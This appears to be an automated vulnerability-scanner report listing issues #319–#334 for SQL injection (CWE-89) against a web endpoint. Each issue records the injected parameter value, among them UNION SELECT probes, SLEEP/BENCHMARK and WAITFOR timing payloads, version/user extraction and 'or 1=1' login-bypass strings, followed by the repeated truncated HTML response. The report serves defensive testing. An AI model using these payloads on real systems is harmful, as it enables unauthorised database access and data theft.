Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #319
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #320
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #321
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #322
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #323
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #324
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io test UNION select 1, @@version, 1, 1;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #325
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #326
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #327
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #328Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #329
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io waitfor delay '00:00:05'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #330
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin"or 1=1 or ""="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #331
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io admin") or ("1"="1"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #332
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #333
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin' or '1'='1'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #334
Scan SQL Injection
